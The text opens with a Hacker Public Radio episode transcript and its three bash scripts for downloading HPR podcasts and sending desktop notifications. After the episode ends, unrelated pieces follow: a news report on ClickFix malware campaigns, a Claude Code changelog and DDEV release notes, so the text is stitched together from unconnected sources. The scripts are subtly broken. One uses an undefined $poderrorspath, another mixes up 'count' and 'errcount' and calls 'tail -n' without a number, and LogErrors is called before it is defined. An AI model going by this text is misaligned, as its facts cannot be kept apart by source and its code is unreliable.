01 Introduction

In this episode I will describe techniques for downloading podcasts using basic shell commands such as wget.

I will illustrate this using a bash script that can be used to download HPR podcasts.

Even if you do not have any interest in downloading your podcasts using this method, you may find some of the methods useful or interesting.

It is the principles that are discussed here that are important, rather than the implementation.

02

I realize that there are already a number of different podcast download programs available, including at least one written in bash.

However, you may feel that none of these suit how you wish to do things and want to create your own system tailored to your specific needs.

If so, then I hope the following is of some use to you.

If not, then you may still find some of the things discussed here to still be of interest.

Some of the subjects I cover include

wget to a user defined file name.

parsing xml with xmllint.

using inotifywait to trigger an action when a file is created or modified.

using notify-send to send a message to the notification area.

and

a way of allowing a cron job to send a message to the user interface.

03 Background

There has been an ongoing discussion in comments to some HPR episodes about problems downloading HPR podcast episodes.

Apparently some people have been experiencing problems with the way the episode URLs are structured.

04

I am afraid that I don't fully understand the nature of these problems, so I won't be addressing that problem directly.

Instead, I will present a bash script that I have written which can be used to download HPR podcasts.

This bash script can be run using cron to automatically fetch new HPR podcasts and save them to a designated directory.

This is a simplified version of a script that I have used for years to download HPR and other podcasts.

05

I won't try to read the full bash script out in this podcast, as that would be a bit dull to listen to.

I will instead describe what each section does and why I chose to do things that way.

Perhaps other people can offer suggestions of better ways to do things.

I will post the full bash script in the show notes.

06 Fetching Podcasts

The standard way of distributing podcasts is to publish an RSS feed containing URL links to the audio files.

RSS is a very long established and widely supported mechanism for this and other purposes.

An RSS feed is basically an XML document which can be accessed over HTTP.

These URLs contained in the RSS XML document can then be used to download the actual audio files, such as MP3 or OGG files.

07

Basically what we need to do is the following

• Download the RSS XML document.

• Extract the URL links to the audio files.

• Compare the list of these links to a previously saved list to see which ones are new and which ones are ones that we previously downloaded.

08

• Make a list of the new URLs.

• Go through this list of new URLs and download each of the new audio files.

• Check to see that we actually received the new audio file.

• Add the URLs of the files we successfully downloaded to our saved list of podcast URLs

09

In addition to this, we would like to have the above happen automatically in the background without our having to take any action on our own.

We may wish to receive a notification of when a new podcast has arrived however.

We would probably also wish to receive notification of any errors or failures.

10 Fetching Podcasts - The Preliminaries

Our desire to be able to run the script automatically imposes some requirements on our solution.

To schedule the script we will use cron.

Cron is a Linux facility to run scripts on a schedule.

11

One of the side effects of using cron however is that we need to specify the full path to the locations where we intend to keep any data files, plus also the full path to where we intend to put the downloaded podcasts.

12

So the first thing we need to do in our script is to specify a number of different values for things like file location, the URL for the HPR RSS feed, and several other things as well.

I will skip over the details of these, although I may make reference to them later.

13 Get the RSS Data

The first thing of real substance to do is to fetch the current RSS feed data.

I have put this in a bash function called getrssurldata

The contents of this function are a one liner, but with a number of elements chained together through pipes.

14 Downloading the RSS XML Document

• First we use wget, which is a standard command on most Linux distros.

• We specify four things.

• First we set a timeout. I have chosen 20 seconds.

• Next we set the retry limit. I have chosen 3.

15

• Then we specify that the output of wget is sent to stdout rather than saved as a file.

• This is done by using the -O option followed by a space and then a dash.

• The O option is usually used to specify a file to save the output to, but when used with a dash causes output to go to stdout.

• Then we specify the URL of the HPR RSS feed.

16 Contents of the XML Document

This gives us the HPR RSS XML document.

There are about 5,000 lines in this RSS document.

Most of those lines are the show notes which are also included in the feed.

17 Extracting the Podcast Episode URLs

There are only 10 lines of the document that contain information that we are interested in however.

These lines are enclosed in "enclosure" XML tags.

We just need to find those lines and separate out the URLs

18 Standard Command Line Tools

There are two ways that we can do this.

One is to use a combination of grep, sed, and cut.

Grep can find the lines containing the enclosure tags.

Sed and cut can extract the URL from the surrounding extraneous data.

19

However, this method does not discriminate between real enclosure tags in the data portion of the RSS feed and enclosure tags in the show notes which are included in the feed from episodes such as this one.

This may be an acceptable problem in practical terms, but we can do better.

20 Using an XML Parser

The other method is to actually parse the XML document.

there are at least two command line XML parsers that I am aware of.

These are "xmllint", and "xlmstarlet".

I have used xmllint in this example.

I have not used xmlstarlet, so I can't offer any comment on how easy or difficult to use it is.

21

I won't give a detailed explanation of all the things that xmllint can do.

It has many features, most of which, as the name suggests, have to do with finding formatting problems with the XML itself.

Describing everything it can do would be at least one episode in itself.

I will instead just give the particular command used and explain each element of it.

22

In this example assume that we are piping the output of wget directly into xmllint.

The complete command is

xmllint --xpath "//channel/item/enclosure/@url" - | cut -d'"' -f2

23

In this example,

xmllint is the name of the command.

--xpath tells it to parse the document according to the string which follows.

"//channel/item/enclosure/@url" tells it to find a series of tags in the hierarchy of channel, followed by item, followed by enclosure, and then extract the url attribute from the enclosure tag.

The "-" which follows tells it to look for input from stdin rather than from a file.

24

The result is a string which has the url attribute name, an equal sign, and the URL that we want enclosed in quotes.

To get just the URL itself, we pipe the output from xmllint into cut, using the doublequote characters as delimiters.

We then save the result in a temporary file.

25 Finding the New Episodes

Next we wish to find the new podcast episodes.

Each HPR episode is identified by a unique URL.

This means that if we save the URLs of episodes that we have already downloaded, we just have to look for the URLs that do not appear in this saved list.

https://hub.hackerpublicradio.org/ccdn.php?filename=/eps/hpr4659/hpr4659.mp3

26

The easiest way to do this is to take our two lists of URLs, sort each into temporary files, and then compare the sorted URLs using the "comm" command.

27

This is simple, but has a drawback.

Some podcasts occasionally change distributors.

When they do this, the old podcasts are re-published with new URLs and you end up downloading a lot of old episodes over again.

28

With HPR we could get around this by extracting just the file name and looking for that instead of the full URL.

I will however leave that problem as an exercise for the student and just accept that if the URL format changes we may end up downloading old episodes over again.

Since the feed has a maximum of only 10 episodes in it however, that isn't really that big of a problem.

It would be more of a problem with podcasts which have very large numbers of episodes in their feed, but the solutions to those will be feed specific.

29 Downloading the New Podcasts

We should now have a list of URLs for the new podcasts we do not already have.

Typically this should be only one file, but there could be several, or even as many as 10, if we have not turned on our computer in a while.

Therefore, we need to iterate through the file of new podcast URLs and download each one.

30

Before we do that however, we should check to see if there is in fact anything new to download.

To do this, simply use "wc -l" to count the number of lines in the list of new URLs and save the resulting number.

31

If this number is zero, there is nothing to download, we can skip the download step.

As an additional check, we should see if the number of downloads exceeds some threshold value that we wish to set.

This is not a major problem with HPR, but some podcasts have hundreds of files in their RSS feed rather than just the most recent ones.

If we do exceed our download limit, then we need to log an error and skip downloading.

32

Assuming there are no problems so far however, the first thing we need to do is to extract the name of the audio file from the URL.

We can do that using the "basename" command.

We will use this to specify the name that we use when we save the audio file.

33

HPR has a very well formed file name.

Some podcasts do not however, and for those you would need to construct some sort of suitable name either using information found in the URL or simply creating a name using a time stamp.

34

Next we download the audio file using wget.

This is similar to how we downloaded the RSS feed, but with a few changes.

One is that I have increased the timeout to 90 seconds.

This may not have been necessary, but seemed like a good idea.

35

The next is that when specifying the output file name using -O, we use the file name we extracted from the URL.

The third is that we specify a destination directory using the -P option.

36

After wget has finished, including any retries that it had to do, we next check that the expected new file is both present and not empty.

We did this using an "if" statement with the "-s" option.

If the file was found and not zero, then we add that URL to a temporary list of downloaded URLs.

37

If the file was not present, or was zero length, we output an error message to an error log.

I will come back to this point later.

38

Next, if there is more that one podcast to download we sleep for 3 seconds.

While not strictly necessary, it is considered to be "polite" to not hammer a server repeatedly, but rather to put a small delay between file downloads..

39

After we have downloaded all the audio files in our list, we can add the list of URLs for the files downloaded to the permanent list.

While we are at it, we should use "tail" to trim the permanent log to keep it from growing indefinitely.

This limit should be several times bigger than the number of files in the RSS feed.

In this case I selected 50.

40

Finally we write any errors to the permanent error log, and also write these same errors to another file used to signal errors for display to the user.

We have now successfully downloaded at least one HPR podcast.

41 Notify the User of Events

It would be convenient to be informed of new podcast downloads when they occur, and also be notified of any errors.

One of the limitations of cron jobs is that they cannot access the user interface.

This means that we cannot readily send a message directly to the notification system to inform the user of the presence of new podcasts or of errors.

42 inotifywait

The solution to this is to use "inotifywait" to monitor particular files and directories for changes.

The man page for inotifywait states the following -

43

inotifywait efficiently waits for changes to files using Linux's inotify(7) interface. It is suitable for waiting for changes to files from shell scripts. It can either exit once an event occurs, or continually execute and output events as they occur.

End of quote.

44

In many Linux distros, inotifywait is provided by the "inotify-tools" package.

I won't go over all the features of inotifywait.

Instead, I will just describe how to use it for our purposes here.

45 inotifywait Modes

I should point out first though that inotifywait operates in two different modes.

In the normal default mode, it exits after being triggered by an event and must be re-established again in order to resume monitoring.

In monitor mode, which is enabled by using the "-m" option, it runs indefinitely, responding to events.

I will use the default mode here.

46

The man page for inotifywait provides a simple example that we could copy and modify for our purposes.

A great many examples that you will find are based on this example.

However, it doesn't quite do what we want, so we need to change a few things.

47 podfetchnotify

The first shell script is one which monitors for the arrival of new podcasts and sends a notification to the user.

I will call this "podfetchnotify".

The complete scripts are in the show notes, I will just provide a brief description here.

48 Setting Up Event Watches Using inotifywait

The script is enclosed in a while loop which run indefinitely.

In the first line inside the while loop, we call inotifywait.

inotifywait will then block until the event it is told to look for occurs.

In short, execution of the script will wait there until an event occurs.

49

The names of the events are listed in the man file.

In this case we are looking for "modify", "create", and "moved_to".

Each of these does pretty much as you would expect, reacting to modifying an existing file, creating a new file, or moving a file to that directory.

50 Problems When Testing Using Text Editors

I should point out that if you are testing a script which uses inotifywait, then modifying a file with a text editor may not produce the results that you may think it would.

Instead it treats this as a new file with the same name, with the original file being erased.

Since inotifywait attaches itself to the inode rather than the filename, it sees the file that the text editor changed as being a new file.

If you wish to test this realistically, then use "echo" to overwrite the file by using I/O redirection.

51 Capturing Output

In my example I capture the output from standard out into a variable, but I don't do anything with it.

If you wish to for example display the name of the newly downloaded podcast file, then use the --format option along with an appropriate formatting code.

There are details about this in the man page.

On the next line we capture the exit code using "$?"

52 Responding to Exit Codes

If the exit code was zero, then a monitored event was triggered and there should a new podcast in the directory.

In this case we display a message indicating that a new podcast has arrived.

I will describe how to send notifications shortly.

If the exit code was not zero, then an error occurred.

An example of such an error would be if the directory were not present when monitoring was started.

In this case we display a message indicating that a fatal error has occurred and then exit.

53 Delay for More Podcasts

Finally, we use "sleep" to wait for some arbitrary period of time to prevent notifications from being triggered multiple times if several podcasts were being downloaded in succession.

In this case I chose to wait for 60 seconds.

54

We have now completed the process and can return to the top of the loop and resume waiting using inotifywait.

55 Sending Notifications to the User

I mentioned above about sending notification messages to the user.

In the Gnome desktop, notification messages appear from the centre of the top bar in a list.

Other desktops or operating systems may have something similar.

56

To send a notification message to the notification area, you use the "notify-send" command.

Simply follow notify-send with a quoted string and it will be displayed in the notification area.

57 podfetcherrornotify

The second shell script is one which notifies the user of errors.

I will call this "podfetcherrornotify".

With this shell script we set up a watch on a file which contains any error messages from podfetch.

This script is very similar to podfetchnotify.

58

The exceptions are

With inotifywait we only monitor for "modify".

There is no sleep command at the end of the loop.

Instead we sleep for a few seconds just after getting the exit code from inotifywait.

This helps prevent problems caused by race conditions.

59

Next we check the inotifywait exit code.

If it was zero, then we read the error report file and send a notification message to the user containing that error message.

60

If it was not zero, then we check to make sure that the directory that should contain the error log exists.

If it does not exist, then we send a notification message to that effect to the user and terminate the script.

61

If the directory exists, then we check to see if the error message file used for signalling exists.

If the file does not exist, then we create it.

62

One of the reasons for an inotifywait error is that if the file that it is told to monitor does not exist, it cannot set up a watch condition.

By creating the file we correct the cause of the error and allow inotifywait to operate normally.

63

Finally we increment an error counter and check to see if the limit is exceeded.

If there are excessive errors, then send a notification message to the user and exit.

The reason for this is to give the user an indication that the error notifications are not working for some reason and there may be a problem that needs looking into.

64

The error counter is reset every time the inotifywait exit status is ok, so occasional unexpected glitches should be something that is ignored.

Of course podcast fetching errors are something that will probably happen only rarely if at all, so this final step may be seen as an unnecessary embellishment.

65 Installing the Scripts

Next I will describe how to install and prepare the scripts to run.

We need to perform the following steps.

66

• First, we need to create a directory to hold the scripts and their associated data files.

• Next we need to create a directory to hold the downloaded podcasts.

• Then we must copy the scripts to these directories and make them executable.

• Then, we must edit the scripts to have the file path in the script match the locations of the new directories that we created.

67

• Then we need to install xmllint, or alternatively modify the download script to comment out the use of xmllint and enable the alternative method using grep and sed instead.

• Then we need to run each script manually from the command line to check for errors.

• If podfetch ran correctly, it should download the most recent 10 podcasts during this test.

68 Adding podfetch to the Crontab

The above describes how to run the scripts manually.

In order to fetch podcasts automatically, we need to add the podfetch script to the cron schedule.

To do this, open a terminal.

69

Type "crontab -e", and then press return.

A text editor should open up containing the crontab file.

On Ubuntu, this editor is GNU nano.

Enter the appropriate cron parameters.

I will provide an example here for running it 12 minutes past the hour every three hours.

70

12 */3 * * * /home/username/pathtofiles/podfetch.sh

71

I won't explain cron in detail here.

The example that I have just given should be good enough for most people.

The "*/3" parameter will cause it to run every three hours.

The "12" parameter will cause it to run 12 minutes past the hour when it does run.

72

Checking every three hours should be good enough for most people, but you can adjust that as you see fit.

I would recommend however that you don't check more frequently than once per hour.

Checking more frequently than necessary puts extra load on the distribution servers.

It is very unlikely that you really do need each new episode the moment it is available.

73

I would also recommend changing the "12" parameter to some other random minute value.

I would suggest avoiding on the hour or on the half hour, as a lot of other people are probably checking at those times, and it would be better to spread the load out more evenly over time.

74

The file path parameter should of course match the actual path to wherever you have located the script, including the correct user name.

75 Making the Notification Scripts Start Automatically

The two notification scripts can be made to start automatically.

The exact method to do this may vary according to distribution or desktop.

76

On Ubuntu this is done using the Startup Applications Preferences GUI program, which should come already installed.

77

I won't go into details on this here, it should be fairly self evident how to use it once you see it.

What this program does is to create ".desktop" files in the ".config/autostart" directory in your home directory.

78

These ".desktop" files are all run automatically on start up.

Once you have added the notification scripts, you will need to log out and then log back in to make them active.

79 Conclusion

I this episode I explained how to write a set of simple shell scripts to automatically download each new episode of HPR as it comes out and to notify you of its arrival.

80

The download script described here is tailored specifically for use with HPR only.

However, it was derived from a larger script that downloaded other podcasts as well, based on information read in from a text file.

If you are feeling ambitious, you can add those features back into this to handle all of the podcasts that you listen to.

81

In a comment to another episode of HPR I had said that I would cover ID3 tags in MP3 files, but this episode is long enough now, so I will leave that subject for later.

I look forward to seeing you again later on another episode of Hack Public Radio.

# ======================================================================

podfetchdownloader

#!/bin/bash

# Fetch pending HPR podcasts listed in the HPR RSS feed.

# 8-Jun-2026

# Licensed under GPLv3 or later.

# ======================================================================

# Today's date and time as YYYYMMDDHHMMSS.

podttimestamp=$( date +"%Y%m%d%H%M%S" )

# The absolute path to the script. This is necessary when running it

# using a cron job.

podpath="/home/me/Apps/hprfetch"

# This is the absolute path to where to store the podcast files.

podfilepath="/home/me/Music/Podcasts/HPR"

# Create the full path names here for all the text files used.

podcastsfetched="$podpath/podcastsfetched.txt"

poderrorslog="$podpath/poderrorslog.txt"

poderrorsreport="$podpath/poderrorsreport.txt"

tmpoldurlssorted="$podpath/tmpoldurlssorted.txt"

tmppodsnew="$podpath/tmppodsnew.txt"

tmppodstodownload="$podpath/tmppodstodownload.txt"

tmppodserrors="$podpath/tmppodserrors.txt"

tmppodcastsfetched="$podpath/tmppodcastsfetched.txt"

tmplog="$podpath/tmplog.txt"

# The URL for the HPR RSS feed.

PodURL="http://hackerpublicradio.org/hpr_rss.php"

# Limit on number of podcasts to download.

DownloadLimit=11

# Name of the podcast.

PodName="Hacker Public Radio"

# ======================================================================

# Check if the required paths exist.

# If this path does not exist, cannot log the error.

if [[ ! -d "$podpath/" ]]; then

echo "$podttimestamp Error - Could not find $podfilepath."

exit 1

fi

# Where to store the podcast file fetched.

if [[ ! -d "$podfilepath/" ]]; then

echo "$podttimestamp Error - Could not find $podfilepath." >> $tmppodserrors

# Copy the errors log from the temporary errors file to the permanent files.

LogErrors

exit 1

fi

# ======================================================================

# Check if the podcast log exists. We read it before we write to it,

# so it must exist or we will hang on it not being present.

if [[ ! -e $podcastsfetched ]]; then

touch $podcastsfetched

fi

# ======================================================================

# Delete the specified files if they exist.

# This accepts multiple file names in a variable number of parameters.

CleanupFiles ()

{

# $@ accepts multiple parameters.

for f in "$@"; do

# Check if the file exists.

if [ -e "$f" ]; then

rm "$f"

fi

done

}

# ======================================================================

# Copy the errors log from the temporary errors file to the permanent files.

LogErrors () {

if [ -e $tmppodserrors ]; then

# The permanent log.

cat $tmppodserrors >> $poderrorslog

# This file is monitored for display by other scripts.

cat $tmppodserrors > $poderrorsreport

fi

}

# ======================================================================

# Get the URL data from an RSS feed

GetRSSURLData () {

wget --timeout=20 --tries=3 -O - "$PodURL" \

| xmllint --xpath "//channel/item/enclosure/@url" - | cut -d'"' -f2 \

| sort > $tmppodsnew

# This is an alternate method that does not use xmllint.

# However, it is not as robust. If someone were to include the

# first grep search pattern in their show notes, then it would

# look for that as a valid tag and output the following text

# as a URL.

#wget --timeout=20 --tries=3 -O - "$PodURL" | grep "<enclosure url=" \

# | sed -n 's/^.*enclosure//p' | sed -n 's/^.*url=//p' \

# | cut -d'"' -f2 | sort > $tmppodsnew

}

# ======================================================================

# Find which podcasts we do not already have.

FindNewPodcasts () {

cat $podcastsfetched | sort > $tmpoldurlssorted

comm -13 $tmpoldurlssorted $tmppodsnew > $tmppodstodownload

rm $tmpoldurlssorted

}

# ======================================================================

# Download the podcasts.

DownloadPodcasts() {

# Clear out previous temporary list of downloaded podcasts.

true > $tmppodcastsfetched

for i in $( cat $tmppodstodownload )

do

# Extract the file name from the URL.

fname=$( basename $i )

outputpodname="$podfilepath/$fname"

# Download the file.

wget --timeout=90 --tries=3 -P $podfilepath $i -O "$outputpodname"

# Check if the file exists and is not empty.

if [[ -s "$outputpodname" ]]; then

echo $i >> $tmppodcastsfetched

else

echo "$podttimestamp Error - $outputpodname was not found or is empty." >> $tmppodserrors

fi

# Delay a reasonable length of time between multiple downloads.

if (( $PodCount > 1 )); then

sleep 3

fi

done

# Add the list of files downloaded to the log.

# Check if the list exists and is not empty.

if [ -s $tmppodcastsfetched ]; then

cat $tmppodcastsfetched >> $podcastsfetched

# Trim the log file to keep it from growing indefinitely.

tail -n50 $podcastsfetched > $tmplog

mv $tmplog $podcastsfetched

fi

# Remove the tmp file now that we are done with it.

rm $tmppodcastsfetched

}

# ======================================================================

# Clean up any left over files.

CleanupFiles "$tmppodsnew" "$tmppodstodownload" "$tmppodserrors" "$tmppodcastsfetched"

# Get the RSS data.

GetRSSURLData

# Find which podcasts are new.

FindNewPodcasts

# Count how many new podcasts there are.

PodCount=$( cat $tmppodstodownload | wc -l )

# If no podcasts to download, skip this.

# If too many podcasts for this feed, then log an error and skip.

# This error will keep repeating until something is done about it.

if (( $PodCount > 0 )); then

if (( $PodCount > $DownloadLimit )); then

echo "$podttimestamp Too many podcasts for $PodName : $PodCount." >> $tmppodserrors

else

# Download the podcasts listed in the temp file.

DownloadPodcasts

fi

fi

# ======================================================================

# Copy the errors log from the temporary errors file to the permanent files.

LogErrors

# Clean up temp files.

CleanupFiles "$tmppodsnew" "$tmppodstodownload" "$tmppodserrors" "$tmppodcastsfetched"

# ======================================================================

END OF FIRST SHELL SCRIPT

START OF SECOND SHELL SCRIPT

podfetchnotify

#!/bin/bash

# Part of Podfetch.

# This monitors for new files appearing in the new podcasts directory.

# This should be run as a background task.

# Install it using the "Startup Applications" utility in Ubuntu.

# ======================================================================

# Path where new podcasts are to be stored.

podfilepath="/home/me/Music/Podcasts/HPR"

# ======================================================================

# Wait for the podcast directory to be modified.

while true; do

# Check for new files.

errmsg=$( inotifywait -e modify -e create -e moved_to $podfilepath )

result=$?

# Check if exited due to new podcast, or if some error.

if (( result == 0 )); then

# Success, signal new podcast.

notify-send "New HPR podcast available."

else

# Check to make sure the directory exists.

# If it doesn't exist, there isn't much we can do to fix it.

if [ ! -e "$poderrorspath" ]; then

notify-send "Podfetch error: Podcast directory not found $poderrorspath"

exit 1

fi

fi

# Wait a bit so that multiple new files don't keep re-triggering the notification.

sleep 60

done

# ======================================================================

END OF SECOND SHELL SCRIPT

START OF THIRD SHELL SCRIPT

podfetcherror

Created Tuesday 23 June 2026

#!/bin/bash

# Part of Podfetch.

# This monitors the Podfetch error reporting file for new errors.

# This should be run as a background task.

# Install it using the "Startup Applications" utility in Ubuntu.

# ======================================================================

# Where the Podfetch program error report file is located.

poderrorspath="/home/me/Apps/hprfetch"

# The full path and file name.

poderrorsreport="$poderrorspath/poderrorsreport.txt"

# ======================================================================

# Error counter.

errcount=0

# Wait for the poderrorsreport file to be modified.

while true; do

errmsg=$( inotifywait -e modify $poderrorsreport )

result=$?

# Wait a bit to ensure that writing to the file is complete.

sleep 3

if (( result == 0 )); then

# Get the latest error message.

# Cut out the date stamp at the start of the line and take the rest.

poderr=$( tail -n $poderrorsreport | cut -d" " -f2- )

notify-send "Podfetch error: $poderr"

# Reset the error counter every time there is a successful result.

errcount=0

else

# Check to make sure the directory exists.

if [ ! -e "$poderrorspath" ]; then

notify-send "Podfetch error: error report path not found $poderrorspath"

exit 1

fi

# Check if the file we are trying to monitor exists.

# If not, then create an empty file for error signaling.

if [ ! -e "$poderrorsreport" ]; then

echo > $poderrorsreport

fi

# Increment the error counter.

count=$(( count + 1 ))

if (( count > 3 )); then

notify-send "Podfetch error: Excessive unknown errors, exiting."

exit 1

fi

fi

done

# ======================================================================

Provide feedback on this episode.

The ClickFix attacks technique has become a key initial access method for the UAC-0145 cyber threat cluster, according to a new report from Ukraine's Computer Emergency Response Team (CERT-UA). The agency said the threat group, also tracked as Sandworm, APT44, Seashell Blizzard, and a subcluster of UAC-0002, has shifted its tactics during 2026, increasingly relying on fake CAPTCHA prompts and social engineering to compromise systems.

CERT-UA said it has worked with Ukrainian cybersecurity agencies for several years to investigate the activities of UAC-0145. While the group previously relied on infected software installers distributed through torrent websites, recent campaigns have increasingly used ClickFix to trick users into executing malicious PowerShell commands.

ClickFix Attacks Emerging as Primary Initial Access Vector

According to CERT-UA, infections recorded during the spring and summer of 2026 frequently began when victims visited compromised websites displaying fake CAPTCHA pages. Users were instructed to copy and execute PowerShell commands in their terminal, a phishing technique commonly referred to as ClickFix.

The downloaded commands were designed to retrieve malicious files such as GHETTOVIBE, a Visual Basic Script (VBS) that establishes persistence by placing itself in the Windows Startup directory.

Once executed, attackers could deploy SCOUTCURL, a PowerShell reconnaissance tool capable of collecting information about the compromised system, including device specifications, installed software, browser data, and local files before exfiltrating the information.

CERT-UA also observed malware loaders including FLUIDLEECH, disguised as antivirus software, and LOADLOOP being used during these campaigns.

Backdoors and Data Theft Tools Widely Deployed

The report noted that attackers continue using malware families such as KALAMBUR, SUMBUR, and TAMBUR after gaining access to victim systems.

To maintain remote access, the group relied on legitimate utilities including OpenSSH and Tor, forwarding local network ports such as 445, 3389, and 22 to attacker-controlled infrastructure.

CERT-UA also found malware designed to steal messaging data from Signal and WhatsApp, with stolen information reportedly exfiltrated using RSYNC.

On infected systems examined during cyber defense operations, investigators additionally identified FREAKYPOLL, a Python-based backdoor distributed as compiled bytecode (.pyc), providing attackers with persistent unauthorized access.

Compromised Websites Used to Deliver Fake CAPTCHA Pages

During June and July 2026, CERT-UA analyzed more than ten compromised websites involved in ClickFix attacks.

Investigators found attackers using both the Cloaking.House service and custom malware called SMARTAXE to dynamically modify legitimate webpages. SMARTAXE retrieves remote domains from blockchain smart contracts through Ethereum's eth_call function before displaying fake CAPTCHA pages or redirecting visitors to malicious content.

CERT-UA warned that any website used in these attacks should be considered compromised, potentially through vulnerable content management systems (CMS), stolen credentials, web shells, malicious plugins, modified website scripts, or server-side backdoors.

The agency urged website administrators and hosting providers to strengthen website security and respond quickly to incident reports.

Android Malware Also Part of UAC-0145 Operations

The report also highlighted growing use of Android malware distributed through messaging applications.

Attackers were observed sharing APK files disguised as security or antivirus tools. One such malware family, tracked as COWARDDUCK, functions as a full-featured Android backdoor capable of collecting device information, contacts, files, and real-time geolocation.

The malware targets files from directories including DCIM, Documents, Downloads, Pictures, and Alarms while searching for formats such as DOCX, XLSX, PPTX, ZIP, RAR, JSON, and OVPN files.

According to CERT-UA, COWARDDUCK uploads stolen files through the Dropbox API while receiving commands from legitimate services including Steam Community and StockMemory domains through proxy infrastructure.

Microsoft Sees Global Rise in ClickFix Campaigns

Microsoft Threat Intelligence and Microsoft Defender Experts also reported that ClickFix campaigns have increased significantly since early 2024, targeting thousands of enterprise and consumer devices globally each day.

Microsoft said the technique commonly delivers malware such as Lumma Stealer by persuading users to copy and execute commands through Windows Run, Windows Terminal, or Windows PowerShell. The campaigns are often combined with phishing, malvertising, and drive-by compromise techniques that imitate trusted brands.

Because ClickFix attacks rely on user interaction rather than exploiting software vulnerabilities directly, Microsoft recommends organizations strengthen user awareness and apply security policies that restrict unnecessary use of command execution tools.

• Added --forward-subagent-text flag and CLAUDE_CODE_FORWARD_SUBAGENT_TEXT environment variable to include subagent text and thinking in stream-json output
• Fixed permission previews relayed to chat channels not neutralizing bidirectional-override, zero-width, and look-alike quote characters, so tool inputs cannot visually alter the approval message
• Fixed auto mode overriding a PreToolUse hook's ask decision for unsandboxed Bash — a hook ask now floors the decision at a prompt
• Fixed parallel Claude Code sessions all logging out simultaneously after wake-from-sleep when many sessions share one credential store
• Fixed plugin MCP servers not reconnecting after an idle web session woke, leaving MCP calls failing until the next message
• Fixed Claude Code on Vertex and Bedrock attempting the default Opus model at startup and printing a spurious fallback notice when a model is explicitly configured
• Fixed subagents spawned with an explicit model override reverting to the parent's model when resumed or sent a follow-up message
• Fixed nested .claude/rules/*.md files loading even when setting sources exclude project settings
• Fixed file upload validation: filenames ending in a DOS device suffix (.prn) or trailing dot are now accepted, and files with multiple hard links are refused
• Fixed file uploads to Claude in Chrome from remote and CLI sessions
• Fixed edits that leave the input as "?" being silently swallowed and toggling the shortcuts panel
• Fixed a startup hang when the Claude in Chrome extension is enabled but Chrome is not running
• Fixed a 300ms delay revealing async content (Settings tabs, Stats, diff views, and other loading states)
• Fixed reopening a just-stopped background session from the agents view starting a blank conversation under the same session id
• Fixed /loop hiding the session from /resume after a single use
• Fixed screen reader users losing the audible terminal bell after /terminal-setup or onboarding terminal setup
• Fixed background jobs on LLM gateway auth (ANTHROPIC_AUTH_TOKEN + ANTHROPIC_BASE_URL) coming back "Not logged in" after the daemon respawns them
• Fixed claude agents jobs becoming permanently undeletable when git no longer recognizes their worktree — the row now shows why the delete was refused instead of silently reappearing
• Fixed /clear not resetting the session cost counter — the statusline's cost now starts at $0 after /clear
• Fixed Claude in Chrome setup pages failing to open in the browser on Windows
• Fixed headless print-mode sessions on Windows crashing or silently exiting when stdin is unreadable
• Fixed background session titles in the agents view showing the naming model's refusal text when the prompt contains a link
• Fixed background agents killed by the user auto-respawning, and revived agents re-running stale prompts from old sessions
• Fixed routines with no schedule reporting a next run time in the year 1
• Hardened synced skill/plugin directory naming on Windows and kept CCR web fetch/search proxies working after /clear
• Improved terminal layout and rendering performance
• Improved background agent result reporting — Claude now reports the status of still-running agents and waits for the real completion instead of fabricating results
• Improved the memory index over-limit warning to measure only loaded content, excluding frontmatter and HTML comments
• Updated integer environment variables (timeouts, token budgets, retry counts) to accept scientific notation and digit-separator spellings like 1e6 and 64_000
• Updated documentation links to the current docs sites
• Changed "always allow" permission rules to save at the repository root, so approvals granted in a git worktree persist across sessions and worktrees
• Changed /usage-credits to ask for confirmation before sending a request to organization admins
• Changed Vim mode s and S (substitute char/line) to work in NORMAL mode, matching vim behavior
• [VSCode] Updated the Remote Control banner to describe what it does
• Claude in Chrome: hardened file-upload path validation
• Claude in Chrome: save_to_disk on screenshot actions now writes the image to disk and returns the path; previously it did nothing
• Fixed a prompt-caching regression on Bedrock, Vertex, Mantle, and Foundry that billed the trailing system context block as fresh input tokens on every request.

See the installation instructions for details, but it's easy:

• macOS: brew install ddev/ddev/ddev or just brew upgrade ddev.
• Linux: Use sudo apt-get update && sudo apt-get install ddev, see apt/yum installation
• Windows and WSL2: Download the Windows Installer; you can run it for install or upgrade.
  ⚠️ Traditional Windows users (not WSL2): If needed, the installer will prompt you to uninstall the previous system-wide installation to avoid conflicts with the new per-user installation.
• Consider ddev delete images or ddev delete images --all after upgrading to free up disk space used by previous Docker image versions. This does no harm.
• Consider ddev config --auto to update your projects to current configuration.

Highlights

Blog announcement: https://ddev.com/blog/release-v1-25-3/

• New Docker Compose library: Improved UX during ddev start and ddev stop; the separate ~/.ddev/bin/docker-compose binary is no longer needed and can be removed
• Faster ddev start: Reduced startup time by running post-healthcheck tasks concurrently, thanks to @jonesrussell
• Faster ddev stop: Fixed a bug in the webserver startup script that added an unnecessary ~10-second delay
• MariaDB 12.3 LTS support
• Podman and Docker rootless are no longer experimental: Both are now stable and ready for general use:
  • macOS (Podman rootless)
  • Linux/WSL2 (Docker rootless)
  • Linux/WSL2 (Podman rootless)

Breaking Changes

• Remove support for XDG_CONFIG_HOME, replaced by DDEV_XDG_CONFIG_HOME. Support for ~/.config/ddev on Linux is unchanged. This change was needed because some IDEs, such as PhpStorm, don't always see XDG_CONFIG_HOME set in the terminal (see this issue), which caused the IDE to recreate the ~/.ddev directory repeatedly
• Use stricter permissions for world-writable directories inside ddev-webserver. If you had post-start hooks that wrote to /usr/local/bin, update them to use ~/.local/bin instead, thanks to @AkibaAT
• Move N_PREFIX from /usr/local to /usr/local/n. This shouldn't affect most people, unless you referenced a full path such as /usr/local/bin/npm - the new location is /usr/local/n/bin/npm, or simply use npm without a full path
• Remove the ddev dr alias for ddev drush, since dr is now a built-in command for Drupal 11.4+

Features

• Node.js improvements: preserve nodejs_version in .ddev/config.yaml, and install several Node.js versions with n install <version> inside the web container
• Docker rootless on Linux no longer requires no-bind-mounts; disable it with ddev config global --no-bind-mounts=false
• Support the gvisor-tap-vsock network driver in Docker rootless
• Add new ddev dr command for Drupal 11.4+
• Allow using Mutagen together with ddev config global --use-hardened-images=true
• ddev version and ddev config now work even when Docker isn't running or is broken, and ddev poweroff shows progress output instead of appearing to hang
• Improve ddev list and ddev describe layout on narrow terminals
• Add OSC 8 terminal hyperlink support to ddev list, ddev describe, ddev add-on list, and ddev add-on search
• Show human-readable output when checking available disk space, thanks to @wolcen
• Always pull images when using ddev start --no-cache
• Respect the COMPOSER_NO_BLOCKING environment variable from the host in ddev composer
